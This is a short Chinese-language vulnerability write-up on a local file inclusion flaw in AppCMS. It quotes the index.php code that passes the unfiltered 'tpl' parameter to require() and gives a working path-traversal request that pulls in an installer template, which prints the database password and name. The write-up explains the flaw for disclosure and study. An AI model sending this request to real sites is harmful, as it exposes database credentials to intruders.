AppCMS 本地文件包含漏洞
直接看index.php:
193 if (substr($tpl, strlen($tpl)-4, 4) == '.php') { 194 $tmp_file = '/templates/' . $from_mobile . '/' . $tpl; 195 } else { 196 $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php'; 197 } 198 if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存 在' . $tmp_file); 199 require(dirname(__FILE__) . $tmp_file);
194 行的 $tpl 变量是可以控制的:
133 $tpl = isset($_GET['tpl'])?$_GET['tpl']:'index';
但这里没有过滤"../",可以直接 require 文件。这样就能执行 PHP 代码了。执行什么好呢。看 install/templates/step4.php 的代码:
<th>数据库密码:</th> <td><input type="text" id="dbpass" name="dbpass" value="<?php echo DB_PASS;?>" /></td> </tr> <tr> <th>数据库名称:</th> <td><input type="text" id="dbname" name="dbname" value="<?php echo DB_DBNAME;?>" /> </td>
如提交 http://test/index.php?tpl=../../install/templates/step4.php ,它会读取数据库配置文件,然后 echo 出来,如果已经安装了 App,直接就 echo 出来了。